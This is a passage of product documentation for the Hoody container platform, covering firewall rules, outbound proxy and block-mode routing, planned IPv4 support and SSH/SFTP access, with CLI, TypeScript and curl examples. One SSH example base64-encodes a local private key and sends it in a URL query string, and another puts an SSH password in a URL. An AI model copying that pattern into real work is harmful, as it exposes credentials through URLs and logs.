    ```
  
  
    ```typescript
    await client.api.firewall.toggleIngressRule(CONTAINER_ID, {
      state: 'disabled',
      description: 'Allow SSH from office',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/ingress" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"state": "disabled", "description": "Allow SSH from office"}'
    ```
  


### Remove Rules

Remove specific rule:


  
    ```bash
    # Remove a specific ingress rule
    hoody firewall ingress delete --container $CONTAINER_ID \
      --description "Allow SSH from office"
    ```
  
  
    ```typescript
    await client.api.firewall.removeIngressRule(CONTAINER_ID, {
      description: 'Allow SSH from office',
    });
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/ingress" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"description": "Allow SSH from office"}'
    ```
  


Reset completely (remove ALL rules):


  
    ```bash
    # Reset firewall to default (removes ALL rules)
    hoody firewall reset --container $CONTAINER_ID
    ```
  
  
    ```typescript
    await client.api.firewall.reset(CONTAINER_ID);
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/firewall/reset" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Best Practices

### 1. Specific Rules Before Broad Rules

Create specific allow rule first:



Then create the broad drop rule:



### 2. Use Drop for Public Services

- ✅ `"action": "drop"` = stealth (appears offline to scanners)
- ⚠️ `"action": "reject"` = reveals existence (sends ICMP unreachable)

### 3. Allow DNS for Egress Restrictions

When blocking egress, remember to allow DNS:



### 4. Snapshot Before Major Changes



See: [Snapshots →](/foundation/containers/snapshots/)

---

## Useful Questions

### Does the firewall apply to traffic through the Hoody Proxy?

No. Hoody Proxy traffic (service URLs like `https://{project}-{container}-terminal-1.{server}.containers.hoody.icu`) bypasses the firewall. Use [Proxy Permissions](/foundation/proxy/permissions/) for HTTP service access control.

### Can containers modify their own firewall rules?

No. Firewall rules are host-enforced and only modifiable via the Hoody API. Containers cannot see or change them.

### What's the difference between firewall and Network Configuration's "block" mode?

Network Config `block` mode prevents ALL outbound traffic. Firewall egress rules provide **granular control**—allow some, block others.

### Do firewall rules persist through restarts?

Yes. Rules are stored at host level and survive container restarts, pauses, and snapshots.

### What if I lock myself out with firewall rules?

Access via [hoody-terminal](/kit/terminals/) URL (HTTP bypasses firewall) or use API to add an allow rule or reset: `POST /firewall/reset`

### Can firewall rules use domain names?

No. Firewall operates at IP layer—use CIDR notation only.

---

## Troubleshooting

### Cannot Connect After Adding Rules

**Solutions:**

1. List rules: `GET /firewall/rules`
2. Disable blocking rule: `PATCH /firewall/ingress {"state": "disabled", "description": "..."}`
3. Add allow rule for your IP: `POST /firewall/ingress {"action": "allow", "source": "YOUR_IP/32"}`
4. Reset firewall: `POST /firewall/reset` (removes ALL rules)

### Rules Not Working

**Check:**
- Rule state: Must be `"state": "enabled"`
- Rule order: Specific before broad
- Protocol: TCP rule won't block UDP traffic

### Egress Blocks Package Installation

**Allow package repositories:**





---

## What's Next

**Complete networking setup:**
- **[Network Configuration →](./network/)** - Route traffic through proxies/VPNs
- **[SSH Access →](./ssh/)** - Secure shell and SFTP
- **[IPv4 Management →](./ipv4/)** - Dedicated IPs (coming soon)

**Related security:**
- **[Proxy Permissions →](/foundation/proxy/permissions/)** - Application-level access control
- **[Security Principles →](/vision/security/)** - Hoody's security philosophy

**Understanding gained:**
- ✅ Firewall enforced at host level (tamper-proof)
- ✅ Ingress controls inbound, egress controls outbound
- ✅ Rules evaluated in order (first match wins)
- ✅ Three actions: allow, reject, drop
- ✅ Independent from Hoody Proxy Permissions

---

> **Host-level enforcement. Container-level control.**  
> **Tamper-proof security that containers cannot bypass.**

**Network security starts at the packet level.**

---

# IPv4

**Page:** foundation/networking/ipv4

[Download Raw Markdown](./foundation/networking/ipv4.md)

---

# IPv4


**Coming Soon** - Dedicated IPv4 address assignment for containers is currently in development.


---

## What's Coming

**Dedicated IPv4 addresses** will allow containers to have their own public IP addresses, independent of the host server's IP.

### Planned Features

- **Static IPv4 Assignment** - Each container gets a dedicated public IP
- **IP Persistence** - IP address remains the same across container restarts
- **Direct Routing** - Services accessible directly via IP (no proxy routing)
- **Multiple IPs per Container** - Support for multiple IPv4 addresses per container
- **IP Pooling** - Rent blocks of IPs for your projects

---

## Current Alternatives

While dedicated IPv4 is in development, you can configure container networking using:

### 1. Network Configuration (Exit IP Routing)

**Change the exit IP address** for outbound traffic from containers:

- **[Network Configuration →](./network/)** - Route traffic through SOCKS5/HTTP proxies or VPN providers
- Container appears to originate from proxy/VPN IP
- Works for outbound connections only

### 2. Hoody Proxy (Inbound Service Access)

**Access container services** via URLs (HTTP/HTTPS):

- **[Hoody Proxy →](/foundation/proxy/)** - Makes services accessible via unique URLs
- HTTPS with automatic SSL certificates
- No IP address needed for service access
- Works for inbound connections (accessing container services)

### 3. SSH Access

**Direct SSH/SFTP access** to containers:

- **[SSH →](./ssh/)** - SSH Proxy routes by public key
- No dedicated IP needed
- Works for terminal and file transfer access

---

## Use Cases (When Available)

Dedicated IPv4 addresses will enable:

**Legacy Application Support:**
- Applications that require static IPs
- IP-based licensing systems
- IP whitelisting requirements

**Direct Service Hosting:**
- No reverse proxy in front
- Direct IP:port access
- Lower latency (no proxy layer)

**Multi-IP Scenarios:**
- Different IPs for different services
- IP-based traffic segregation
- Compliance requirements

**Email/SMTP Hosting:**
- Dedicated sending IP for reputation
- Reverse DNS configuration
- IP warmup for deliverability

---

## Stay Updated

**Get notified when IPv4 support launches:**

- Join the [Hoody Community](https://discord.social.hoody.com) for announcements
- Follow [@hoodyrun](https://x.social.hoody.com) on Twitter

---

## Current Networking Capabilities

**Available now:**

1. **[Network Configuration](./network/)** - Control outbound traffic routing (exit IP)
2. **[Firewall](./firewall/)** - Packet-level ingress/egress filtering
3. **[SSH](./ssh/)** - Secure Shell and SFTP access
4. **[Hoody Proxy](/foundation/proxy/)** - HTTPS URLs for service access

---

## What's Next

**Explore current networking features:**

- **[Network Configuration →](./network/)** - Exit IP routing through proxies/VPNs
- **[Firewall →](./firewall/)** - Host-level packet filtering
- **[SSH →](./ssh/)** - SSH and SFTP client access

**Alternative access patterns:**
- **[Hoody Proxy →](/foundation/proxy/)** - HTTPS service URLs
- **[Container Management →](/foundation/containers/create-edit-delete/)** - Creating and managing containers

---

> **IPv4 assignment is coming soon.**  
> **Use Network Configuration to control exit IPs today.**  
> **Use Hoody Proxy for inbound HTTPS service access.**

**Subscribe to updates to know when IPv4 launches.**

---

# Network Configuration

**Page:** foundation/networking/network

[Download Raw Markdown](./foundation/networking/network.md)

---

# Network Configuration

**Change where your container's traffic exits to the internet.** Route through SOCKS5/HTTP/HTTPS proxies, or block all outbound traffic—with zero configuration inside the container.

---

## API Endpoints Summary

**Complete endpoint documentation:**

- **[GET /api/v1/containers/\{id\}/network](/api/container-network/)** - Get current network config
- **[PATCH /api/v1/containers/\{id\}/network](/api/container-network/)** - Configure proxy/VPN/block mode
- **[DELETE /api/v1/containers/\{id\}/network](/api/container-network/)** - Remove config (restore default)
- **[POST /api/v1/containers/\{id\}/network/start](/api/container-network/)** - Start container network proxy/blocking
- **[POST /api/v1/containers/\{id\}/network/stop](/api/container-network/)** - Stop container network proxy/blocking

---

## Two Different "Proxies" on Hoody

**⚠️ CRITICAL:** Don't confuse these two systems:

| System | Direction | Purpose |
|--------|-----------|---------|
| **[Hoody Proxy](/foundation/proxy/)** | Internet → Container | Makes services accessible via URLs |
| **Network Configuration** (this page) | Container → Internet | Changes exit IP address |

**Key distinction:**
- **Hoody Proxy** = How others ACCESS your containers (inbound)
- **Network Configuration** = How your container ACCESSES the internet (outbound)

**Both work together.** Hoody Proxy handles inbound service requests. Network Configuration handles outbound connections.

---

## Four Routing Types

### 1. SOCKS5 Proxy (Recommended)

**Routes ALL TCP traffic through SOCKS5:**


  
    ```bash
    # Route all container traffic through SOCKS5 proxy
    hoody network update --container $CONTAINER_ID \
      --type socks5 \
      --proxy "socks5://username:password@proxy.example.com:1080" \
      --dns-servers "1.1.1.1,1.0.0.1"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'socks5',
      proxy: 'socks5://username:password@proxy.example.com:1080',
      dns_servers: ['1.1.1.1', '1.0.0.1'],
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "socks5",
        "proxy": "socks5://username:password@proxy.example.com:1080",
        "dns_servers": ["1.1.1.1", "1.0.0.1"]
      }'
    ```
  


**What happens:**
- All container TCP connections route through SOCKS5 proxy
- Container appears to originate from proxy's IP
- Supports authentication (username:password)

**Why SOCKS5 is best:**
- Natively forwards **ANY TCP protocol** without `CONNECT` tunneling
- SSH, databases, Git, custom protocols all work
- Many providers (including VPN services) offer SOCKS5 with credentials
- Zero in-container configuration needed

### 2. HTTP Proxy


  
    ```bash
    # Route container traffic through HTTP proxy
    hoody network update --container $CONTAINER_ID \
      --type http \
      --proxy "http://user:pass@corporate-proxy.com:8080"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'http',
      proxy: 'http://user:pass@corporate-proxy.com:8080',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "http",
        "proxy": "http://user:pass@corporate-proxy.com:8080"
      }'
    ```
  


**Use for:** Corporate proxy requirements, environments that mandate an HTTP forward proxy

**Note:** `type: http` configures the upstream as an HTTP proxy. Hoody still DNATs **all** container TCP egress through it (using the proxy's `CONNECT` tunneling for non-HTTP destinations), so this isn't limited to plain HTTP payloads. SOCKS5 remains the most broadly compatible upstream.

### 3. HTTPS Proxy


  
    ```bash
    # Route container traffic through HTTPS proxy
    hoody network update --container $CONTAINER_ID \
      --type https \
      --proxy "https://user:pass@secure-proxy.com:443"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'https',
      proxy: 'https://user:pass@secure-proxy.com:443',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "https",
        "proxy": "https://user:pass@secure-proxy.com:443"
      }'
    ```
  


**Use for:** Encrypted HTTP proxy connections

**Note:** `type: https` configures the upstream as an HTTPS proxy (CONNECT tunneling); all TCP egress is DNATed through it just as with the `http` type, so this isn't restricted to HTTPS payloads.

### 4. Block (Complete Isolation)


  
    ```bash
    # Block all outbound internet traffic
    hoody network update --container $CONTAINER_ID --type block
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'block',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"type": "block"}'
    ```
  


**Blocks all outbound internet.** Container can still:
- ✅ Be accessed via Hoody Proxy URLs (terminal, files, display)
- ✅ Access localhost services and /ramdisk
- ❌ Make ANY outbound connections

**Perfect for running untrusted code or processing sensitive data.**

---

## Host-Level Routing Power

**Traditional approach:** Configure proxy inside every application:

```bash
export HTTP_PROXY=http://proxy:8080
npm config set proxy http://proxy:8080
git config http.proxy http://proxy:8080
# Every single application needs configuration
```

**Hoody approach:** One API call, affects ALL applications:


  
    ```bash
    # Configure SOCKS5 proxy for all container traffic
    hoody network update --container $CONTAINER_ID \
      --type socks5 \
      --proxy "socks5://user:pass@proxy.example.com:1080"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'socks5',
      proxy: 'socks5://user:pass@proxy.example.com:1080',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "socks5",
        "proxy": "socks5://user:pass@proxy.example.com:1080"
      }'
    ```
  


Now all applications automatically route through SOCKS5: npm downloads, curl requests, Python/Node.js/Go apps, SSH connections, database connections—zero in-container configuration.

**Benefits:**
- Universal routing (every TCP protocol)
- Zero application configuration
- Tamper-proof (container cannot bypass)
- Easy VPN provider switching

---

## Common Use Cases

### Change Exit IP for Geo-Restricted APIs

Server in Germany, but API requires US IP:


  
    ```bash
    # Route through US proxy for geo-restricted APIs
    hoody network update --container $CONTAINER_ID \
      --type socks5 \
      --proxy "socks5://user:pass@us-proxy.example.com:1080"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'socks5',
      proxy: 'socks5://user:pass@us-proxy.example.com:1080',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "socks5",
        "proxy": "socks5://user:pass@us-proxy.example.com:1080"
      }'
    ```
  


**Container requests appear to originate from the proxy's location.**

### Route Through Corporate Proxy


  
    ```bash
    # Route through corporate HTTP proxy for compliance
    hoody network update --container $CONTAINER_ID \
      --type http \
      --proxy "http://employee:pass@corporate-proxy.com:8080"
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'http',
      proxy: 'http://employee:pass@corporate-proxy.com:8080',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "type": "http",
        "proxy": "http://employee:pass@corporate-proxy.com:8080"
      }'
    ```
  


**All HTTP traffic logged by corporate proxy for compliance.**

### Secure AI Code Sandbox


  
    ```bash
    # Block all outbound traffic for AI sandbox
    hoody network update --container $CONTAINER_ID --type block
    ```
  
  
    ```typescript
    await client.api.containers.updateNetworkConfig(CONTAINER_ID, {
      type: 'block',
    });
    ```
  
  
    ```bash
    curl -X PATCH "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{"type": "block"}'
    ```
  


**AI-generated code cannot:**
- Call external APIs
- Download malicious packages
- Exfiltrate data

**Even if compromised, it's isolated.**

### Multi-Region Testing

Spawn containers with different exit IPs to test from multiple regions simultaneously:







**Test your API from multiple regions simultaneously.**

---

## Network + Firewall + Permissions

**Three-layer defense for complete traffic control:**

**Step 1:** Route through VPN:



**Step 2:** Only allow HTTPS through VPN (firewall):





**Result:** Traffic routes through VPN, but only HTTPS permitted by firewall.

**Three-layer security:**

| Layer | Controls | Page |
|-------|----------|------|
| **Network Config** | Exit IP routing (outbound) | This page |
| **[Firewall](./firewall/)** | Packet filtering (ingress/egress) | [Firewall →](./firewall/) |
| **[Proxy Permissions](/foundation/proxy/permissions/)** | HTTP service access (inbound) | [Permissions →](/foundation/proxy/permissions/) |

**Layer all three for defense-in-depth.**

---

## Managing Network Configuration

### Get Current Config


  
    ```bash
    # View current network configuration
    hoody network get --container $CONTAINER_ID
    ```
  
  
    ```typescript
    const config = await client.api.containers.getNetworkConfig(CONTAINER_ID);
    console.log(config.data); // { type, proxy, dns_servers, status, remote_status }
    ```
  
  
    ```bash
    curl "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### Remove Config (Restore Default)


  
    ```bash
    # Remove network config, restore direct connection
    hoody network delete --container $CONTAINER_ID
    ```
  
  
    ```typescript
    await client.api.containers.removeNetworkConfig(CONTAINER_ID);
    ```
  
  
    ```bash
    curl -X DELETE "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


### Start / Stop Network Proxy


  
    ```bash
    # Start network proxy/blocking
    hoody network start --container $CONTAINER_ID

    # Stop network proxy/blocking
    hoody network stop --container $CONTAINER_ID
    ```
  
  
    ```typescript
    // Start network proxy/blocking
    await client.api.containers.startNetwork(CONTAINER_ID);

    // Stop network proxy/blocking
    await client.api.containers.stopNetwork(CONTAINER_ID);
    ```
  
  
    ```bash
    # Start network proxy/blocking
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network/start" \
      -H "Authorization: Bearer $TOKEN"

    # Stop network proxy/blocking
    curl -X POST "https://api.hoody.icu/api/v1/containers/$CONTAINER_ID/network/stop" \
      -H "Authorization: Bearer $TOKEN"
    ```
  


---

## Verify Exit IP

**Test from inside container:**

```bash
# Via hoody-terminal
curl ifconfig.me

# Should show VPN IP, not server IP
```

---

## Best Practices

### 1. Use SOCKS5 for Universal Routing

Hoody DNATs all container TCP egress regardless of proxy type, but a SOCKS5 upstream natively forwards ANY TCP protocol (SSH, databases, custom protocols) without relying on `CONNECT` tunneling. Use SOCKS5 unless your environment specifically requires an HTTP/HTTPS forward proxy.

### 2. Test Config Before Production

Test in dev container first:



Verify exit IP with `curl ifconfig.me` from inside the container, test app connectivity, then apply to production.

### 3. Document Your Routing

```bash
# ✅ Good comment
{"comment": "UK VPN for BBC API - geo-restricted content"}

# ❌ Vague comment
{"comment": "vpn"}
```

### 4. Combine with Firewall for Defense-in-Depth

Route through VPN + restrict allowed destinations = complete traffic control.

---

## Useful Questions

### Does Network Configuration affect container service URLs?

No. Hoody Proxy service URLs (terminal, files, display) remain accessible. Network Config only affects outbound connections FROM the container.

### What happens if SOCKS5 proxy goes down?

Container cannot make outbound connections. Update config with different proxy or `DELETE /network` to revert to direct connection.

### Can I use multiple proxies simultaneously?

One proxy per container via Network Configuration. For multi-hop, configure first SOCKS5 via Network Config, then run second SOCKS5 client inside container. Or spawn multiple containers, each with different proxy.

### Does this work with WireGuard or OpenVPN?

Not yet—currently supports SOCKS5/HTTP/HTTPS proxy routing only. WireGuard routing is planned for a future update. Many VPN providers offer SOCKS5 endpoints as an alternative.

### Do changes require container restart?

No. Changes apply immediately to new connections. Existing connections may continue using old route.

### Can containers communicate with each other in `block` mode?

Yes—via Hoody Proxy service URLs (HTTP-based). Block mode prevents outbound INTERNET connections, not container-to-container communication.

---

## Troubleshooting

### Cannot Access Internet After Configuring VPN

**Solutions:**

1. Verify network service running: `GET /containers/{id}/network` → check `"status": "running"`
2. Test proxy from host: `curl --proxy socks5://user:pass@vpn.com:1080 https://ifconfig.me`
3. Check proxy URL format: `socks5://username:password@host:port`
4. Remove config and test direct: `DELETE /containers/{id}/network`

### DNS Resolution Fails

**Solutions:**

1. Configure custom DNS:



2. Ensure firewall allows DNS:



### Proxy Authentication Fails

**Check:**

1. Credentials correct
2. Special characters URL-encoded (`@` = `%40`, `:` = `%3A`)
3. VPN subscription active
4. Test from host: `curl --proxy socks5://user:pass@vpn.com:1080 https://ifconfig.me`

### Exit IP Not Changing

**Verify:**

1. Network service running: `GET /network` → check `remote_status.is_running` is `true` (or `status` is `running`)
2. Test from container: `curl ifconfig.me` (should show proxy IP, not server IP)
3. Check DNS leaks: `curl -4 ifconfig.me` (force IPv4)

---

## What's Next

**Complete networking setup:**
- **[Firewall →](./firewall/)** - Granular traffic rules
- **[SSH Access →](./ssh/)** - Secure shell and SFTP
- **[IPv4 Management →](./ipv4/)** - Dedicated IPs (coming soon)

**Understanding gained:**
- ✅ Network Configuration controls OUTBOUND traffic (exit IP)
- ✅ Hoody Proxy controls INBOUND traffic (service URLs)
- ✅ SOCKS5 routes ANY TCP protocol (most versatile)
- ✅ Host-level routing = zero in-container configuration
- ✅ Block mode = complete internet isolation

---

> **Change your exit IP with one API call.**  
> **SOCKS5 with credentials = maximum flexibility.**

**Network routing that just works—configured at host level, invisible to applications.**

---

# SSH

**Page:** foundation/networking/ssh

[Download Raw Markdown](./foundation/networking/ssh.md)

---

# SSH

**SSH provides traditional command-line access to containers.** But on Hoody, SSH is **optional**—[hoody-terminal](/kit/terminals/) gives you web-based shell access without any SSH configuration.


**Hoody Terminal doubles as an HTTP-to-SSH bridge.** You can manage *any* remote server — not just Hoody containers — directly from your browser or via the Terminal API, without installing an SSH client on your device.

Add SSH parameters to any terminal URL or API call, and the Hoody container makes the SSH connection for you:

```
https://PROJECT-CONTAINER-terminal-1.SERVER.containers.hoody.icu/
  ?ssh_host=production-server.com
  &ssh_user=admin
  &ssh_password=...
```

Or programmatically (key-based auth):
```bash
# ssh_key is the base64-encoded private key CONTENT, not a file path
SSH_KEY=$(base64 -w0 ~/.ssh/prod.pem | jq -sRr @uri)
curl -X POST "https://...-terminal-1.../api/v1/terminal/execute?ssh_host=prod.example.com&ssh_user=admin&ssh_key=$SSH_KEY" \
  -H "Content-Type: application/json" \
  -d '{"command": "systemctl status nginx", "wait": true}'
```

**Parameters:** `ssh_host` (required), `ssh_user` (required), `ssh_port` (default: 22), `ssh_password` or `ssh_key`, `socks5_host`/`socks5_port` for proxy routing. Note: `ssh_key` is the **base64-encoded private key content**, not a file path—the container cannot read paths on your device.

The SSH connection persists across requests — subsequent commands to the same terminal session reuse the connection. Use different `terminal_id` values for simultaneous connections to multiple servers.

See [Terminals: SSH to Remote Servers](/kit/terminals/#6-ssh-to-remote-servers-no-client-needed) for full details, multi-server orchestration patterns, and practical workflows.


---

## API Endpoints Summary

**Official Technical Reference:**

SSH configuration is part of container creation/updates:

- **[POST /api/v1/projects/\{id\}/containers](/api/containers/)** - Create container with `ssh_public_key`
- **[PATCH /api/v1/containers/\{id\}](/api/containers/)** - Update `ssh_public_key` on existing container
- **[GET /api/v1/containers/\{id\}](/api/containers/)** - View current SSH configuration

**Alternative Access:**
- **[Hoody Terminal](/kit/terminals/)** - Web-based shell (no SSH needed)

---

## SSH vs hoody-terminal

**Important:** SSH is NOT required to access containers on Hoody.

| Feature | SSH | hoody-terminal |
|---------|-----|----------------|
| **Setup** | Generate keys, configure client | Just visit URL |
| **Access** | Desktop/mobile SSH clients | Any web browser |
| **Session** | Closes when disconnected | **Persists when you leave** |
| **Background Processes** | Must use screen/tmux | **Run directly, session maintained** |
| **Performance** | SSH protocol | **HTTP/2 & HTTP/3 (faster)** |
| **File Transfer** | SFTP, rsync, scp | Via hoody-files HTTP API |
| **Use Cases** | VS Code Remote, SFTP, local tools | Quick access, mobile, zero config |


**hoody-terminal advantage:** Close your browser, come back later—your session is exactly as you left it. Background processes keep running.


---

## How Hoody's SSH Proxy Works

**Hoody provides TWO ways to SSH into containers:**

### Method 1: Privacy-First Routing (Recommended)

```bash
ssh -i ~/.ssh/key root@ssh.$serverName.containers.hoody.icu
```

**Privacy benefit:** The endpoint is **the SAME for ALL your containers**. The SSH service:
- Doesn't reveal which container you're connecting to
- Routes purely by public key from SSH handshake
- Endpoint observers can't correlate domains to containers
- Your public key is your identity (not visible in connection URL)

**Example:** `ssh.us-west-1.containers.hoody.icu` handles ALL containers on that server.

### Method 2: Direct Container URL

```bash
ssh -i ~/.ssh/key root@{project}-{container}-ssh.{server}.containers.hoody.icu
# OR
ssh -i ~/.ssh/key root@{project}-{container}-ssh-22.{server}.containers.hoody.icu
```

**Trade-off:** Container identity visible in URL, but easier to script/automate when you need to target specific containers by name.

---

## SSH Routing Architecture

```
Your SSH Client
       ↓
ssh -i ~/.ssh/key root@ssh.$serverName.containers.hoody.icu
       ↓
Hoody SSH Proxy (same endpoint for ALL containers)
  ├─ Reads public key from SSH handshake
  ├─ Matches key to container (one-to-one mapping)
  └─ Routes connection to that specific container
       ↓
Container with matching public key
```

**Critical rule:** **Each container must have a UNIQUE public key.**


Same public key on 2 containers = routing conflict. The SSH Proxy identifies containers by their public key, so **never reuse keys**.


---

## Generating SSH Keys

**You must generate a NEW key pair for EACH container.**


**SDK helper:** The Hoody SDK ships a subpath helper `@hoody-ai/hoody-sdk/ssh-keys` exposing `generateEd25519SshKeyPair()`, `parseEd25519SshPublicKey()`, and `formatEd25519SshPublicKey()` for generating and parsing Ed25519 keys programmatically—no shelling out to `ssh-keygen`.



  
    ```bash
    # Generate key (ed25519 recommended)
    ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-1 -C "container-1" -N ""
    
    # View public key
    cat ~/.ssh/hoody-container-1.pub
    # Copy the entire line starting with "ssh-ed25519..."
    ```
  
  
  
    **PowerShell:**
    ```powershell
    ssh-keygen -t ed25519 -f %USERPROFILE%\.ssh\hoody-container-1 -C "container-1" -N """"
    type %USERPROFILE%\.ssh\hoody-container-1.pub
    ```
    
    **PuTTY:** Use PuTTYgen → Generate → EdDSA/Ed25519 → Export OpenSSH key
  
  
  
    **Termux:**
    ```bash
    pkg install openssh
    ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-mobile
    cat ~/.ssh/hoody-container-mobile.pub
    ```
    
    **JuiceSSH:** Identities → + → Generate → Ed25519 → Export Public Key
  
  
  
    **Termius:** Keychain → + → New Key → Ed25519 → Copy Public Key
    
    **Blink Shell:** Settings → Keys → + → Ed25519 → Copy public key text
  


---

## Adding SSH Key to Container

**During container creation:**


  
    ```bash
    # Create container with SSH key
    hoody containers create --project $PROJECT_ID \
      --server-id $SERVER_ID \
      --name "dev-container" \
      --dev-kit \
      --ssh-public-key "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx... container-1"
    ```
  
  
    ```typescript
    const container = await client.api.containers.create(PROJECT_ID, {
      name: 'dev-container',
      server_id: SERVER_ID,
      hoody_kit: true,
      dev_kit: true,
      ssh_public_key: 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx... container-1',
    });
    ```
  
  
    ```bash
    curl -X POST "https://api.hoody.icu/api/v1/projects/$PROJECT_ID/containers" \
      -H "Authorization: Bearer $TOKEN" \
      -H "Content-Type: application/json" \
      -d '{
        "name": "dev-container",
        "server_id": "your_server_id",
        "hoody_kit": true,
        "dev_kit": true,
        "ssh_public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMx... container-1"
      }'
    ```
  


**Updating existing container:** Stop → Update `ssh_public_key` → Start

---

## Connecting via SSH

**Universal SSH connection (privacy-first):**

```bash
ssh -i ~/.ssh/hoody-container-1 root@ssh.us-west-1.containers.hoody.icu
```

**Or direct container URL:**

```bash
ssh -i ~/.ssh/hoody-container-1 root@myproject-dev-ssh.us-west-1.containers.hoody.icu
# OR with port in subdomain
ssh -i ~/.ssh/hoody-container-1 root@myproject-dev-ssh-22.us-west-1.containers.hoody.icu
```

**Privacy method:** Same endpoint for all containers. The SSH Proxy routes by your public key.

### Platform-Specific Clients


  
    ```bash
    # Privacy method (recommended)
    ssh -i ~/.ssh/hoody-container-1 root@ssh.us-west-1.containers.hoody.icu
    
    # Or direct URL
    ssh -i ~/.ssh/hoody-container-1 root@myproject-dev-ssh.us-west-1.containers.hoody.icu
    ```
    
    **~/.ssh/config:**
    ```
    Host dev-container
        HostName ssh.us-west-1.containers.hoody.icu
        User root
        IdentityFile ~/.ssh/hoody-container-1
    ```
    Then: `ssh dev-container`
  
  
  
    Same as Linux. Use Terminal.app or iTerm2.
    
    **VS Code:** Install Remote-SSH extension → Connect to `root@ssh.$serverName.containers.hoody.icu`
  
  
  
    **PowerShell:**
    ```powershell
    ssh -i %USERPROFILE%\.ssh\hoody-container-1 root@ssh.us-west-1.containers.hoody.icu
    ```
    
    **PuTTY:** Host: `ssh.us-west-1.containers.hoody.icu` → Auth → Private key: `.ppk` file
  
  
  
    **JuiceSSH:** Connections → + → Address: `ssh.$serverName.containers.hoody.icu` → Identity: (select your key)
  
  
  
    **Termius:** Hosts → + → Hostname: `ssh.$serverName.containers.hoody.icu` → Key: (select your key)
  


---

## SFTP Support

**SSH connections support SFTP automatically.** Same key, same routing, file transfer protocol.

### FileZilla Configuration


  
    1. **File → Site Manager → New Site**
    2. **Protocol:** SFTP - SSH File Transfer Protocol
    3. **Host:** `ssh.us-west-1.containers.hoody.icu` (replace with your server)
    4. **Port:** 22
    5. **Logon Type:** Key file
    6. **User:** root
    7. **Key file:** Browse to `~/.ssh/hoody-container-1` (private key)
    8. **Connect**
  
  
  
    If FileZilla can't find your key:
    1. Settings → Connection → SFTP → Add key file
    2. Press **Cmd+Shift+G** in file browser
    3. Type: `~/.ssh`
    4. Select your key → Open
  


**Other SFTP Clients:**
- **Cyberduck:** New Connection → SFTP → Server: `ssh.$serverName.containers.hoody.icu` → Private Key: (browse)
- **WinSCP:** New Site → SFTP → Host: `ssh.$serverName.containers.hoody.icu` → Advanced → Private key file
- **Command-line:** `sftp -i ~/.ssh/hoody-container-1 root@ssh.$serverName.containers.hoody.icu`

---

## Best Practices

### 1. Generate Unique Keys Per Container

```bash
# ✅ Correct: One key per container
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-1
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-2

# ❌ Wrong: Reusing same key = BROKEN ROUTING
```

### 2. Use ed25519 Key Type

```bash
# ✅ Modern, secure, fast
ssh-keygen -t ed25519 -f ~/.ssh/hoody-container-1

# ⚠️ Legacy (use only if ed25519 not supported)
ssh-keygen -t rsa -b 4096 -f ~/.ssh/hoody-container-1
```

### 3. Use ~/.ssh/config for Multiple Containers

```bash
# ~/.ssh/config
Host dev
    HostName ssh.us-west-1.containers.hoody.icu
    User root
    IdentityFile ~/.ssh/hoody-container-1

Host prod
    HostName ssh.us-west-1.containers.hoody.icu
    User root
